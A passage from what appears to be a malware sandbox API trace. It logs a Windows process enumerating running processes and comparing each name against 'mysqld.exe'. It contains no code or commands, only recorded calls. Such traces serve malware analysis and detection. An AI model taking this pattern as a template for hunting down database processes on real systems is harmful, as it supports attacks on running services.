[0081.714] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.714] GetProcAddress (hModule=0x76d30000, lpProcName="Process32Next") returned 0x76d688a4 [0081.714] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.715] GetLastError () returned 0x0 [0081.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="System") returned 260 [0081.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.715] CharLowerBuffW (in: lpsz="System", cchLength=0x7 | out: lpsz="system") returned 0x7 [0081.715] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.715] VarBstrCmp (bstrLeft="system", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="System", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="System", lpUsedDefaultChar=0x0) returned 260 [0081.715] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.716] GetLastError () returned 0x0 [0081.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="smss.exe") returned 260 [0081.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.716] CharLowerBuffW (in: lpsz="smss.exe", cchLength=0x9 | out: lpsz="smss.exe") returned 0x9 [0081.716] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.716] VarBstrCmp (bstrLeft="smss.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="smss.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="smss.exe", lpUsedDefaultChar=0x0) returned 260 [0081.716] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.717] GetLastError () returned 0x0 [0081.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="csrss.exe") returned 260 [0081.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.717] CharLowerBuffW (in: lpsz="csrss.exe", cchLength=0xa | out: lpsz="csrss.exe") returned 0xa [0081.717] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.717] VarBstrCmp (bstrLeft="csrss.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 260 [0081.717] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.718] GetLastError () returned 0x0 [0081.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="wininit.exe") returned 260 [0081.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.718] CharLowerBuffW (in: lpsz="wininit.exe", cchLength=0xc | out: lpsz="wininit.exe") returned 0xc [0081.718] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.718] VarBstrCmp (bstrLeft="ininit.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wininit.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wininit.exe", lpUsedDefaultChar=0x0) returned 260 [0081.718] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.719] GetLastError () returned 0x0 [0081.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="csrss.exe") returned 260 [0081.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.719] CharLowerBuffW (in: lpsz="csrss.exe", cchLength=0xa | out: lpsz="csrss.exe") returned 0xa [0081.719] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.719] VarBstrCmp (bstrLeft="csrss.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="csrss.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="csrss.exe", lpUsedDefaultChar=0x0) returned 260 [0081.719] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.720] GetLastError () returned 0x0 [0081.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="winlogon.exe") returned 260 [0081.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.720] CharLowerBuffW (in: lpsz="winlogon.exe", cchLength=0xd | out: lpsz="winlogon.exe") returned 0xd [0081.720] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.720] VarBstrCmp (bstrLeft="nlogon.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="winlogon.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="winlogon.exe", lpUsedDefaultChar=0x0) returned 260 [0081.720] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.721] GetLastError () returned 0x0 [0081.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="services.exe") returned 260 [0081.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.721] CharLowerBuffW (in: lpsz="services.exe", cchLength=0xd | out: lpsz="services.exe") returned 0xd [0081.722] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.722] VarBstrCmp (bstrLeft="rvices.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services.exe", lpUsedDefaultChar=0x0) returned 260 [0081.722] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.722] GetLastError () returned 0x0 [0081.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="lsass.exe") returned 260 [0081.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.722] CharLowerBuffW (in: lpsz="lsass.exe", cchLength=0xa | out: lpsz="lsass.exe") returned 0xa [0081.723] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.723] VarBstrCmp (bstrLeft="lsass.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 260 [0081.723] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0081.723] GetLastError () returned 0x0 [0081.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="lsm.exe") returned 260 [0081.723] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.724] CharLowerBuffW (in: lpsz="lsm.exe", cchLength=0x8 | out: lpsz="lsm.exe") returned 0x8 [0081.724] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.724] VarBstrCmp (bstrLeft="lsm.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsm.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsm.exe", lpUsedDefaultChar=0x0) returned 260 [0081.724] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.724] GetLastError () returned 0x0 [0081.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.724] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.725] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.725] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.725] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.725] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.725] GetLastError () returned 0x0 [0081.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.726] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.726] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.726] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.726] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.726] GetLastError () returned 0x0 [0081.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.727] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.727] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.727] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.727] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.727] GetLastError () returned 0x0 [0081.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.728] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.728] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.728] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.728] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.728] GetLastError () returned 0x0 [0081.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.728] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.729] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.729] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.729] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.729] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.729] GetLastError () returned 0x0 [0081.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="audiodg.exe") returned 260 [0081.729] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.730] CharLowerBuffW (in: lpsz="audiodg.exe", cchLength=0xc | out: lpsz="audiodg.exe") returned 0xc [0081.730] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.730] VarBstrCmp (bstrLeft="udiodg.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiodg.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiodg.exe", lpUsedDefaultChar=0x0) returned 260 [0081.730] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.730] GetLastError () returned 0x0 [0081.730] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.731] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.731] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.731] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.731] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.731] GetLastError () returned 0x0 [0081.731] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.732] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.732] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.732] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.732] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.732] GetLastError () returned 0x0 [0081.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="dwm.exe") returned 260 [0081.733] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.733] CharLowerBuffW (in: lpsz="dwm.exe", cchLength=0x8 | out: lpsz="dwm.exe") returned 0x8 [0081.733] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.733] VarBstrCmp (bstrLeft="dwm.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dwm.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwm.exe", lpUsedDefaultChar=0x0) returned 260 [0081.733] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.734] GetLastError () returned 0x0 [0081.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="explorer.exe") returned 260 [0081.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.734] CharLowerBuffW (in: lpsz="explorer.exe", cchLength=0xd | out: lpsz="explorer.exe") returned 0xd [0081.734] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.734] VarBstrCmp (bstrLeft="plorer.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer.exe", lpUsedDefaultChar=0x0) returned 260 [0081.734] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0081.735] GetLastError () returned 0x0 [0081.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spoolsv.exe") returned 260 [0081.735] MultiByteToWideChar (in: CodePage=0x0, 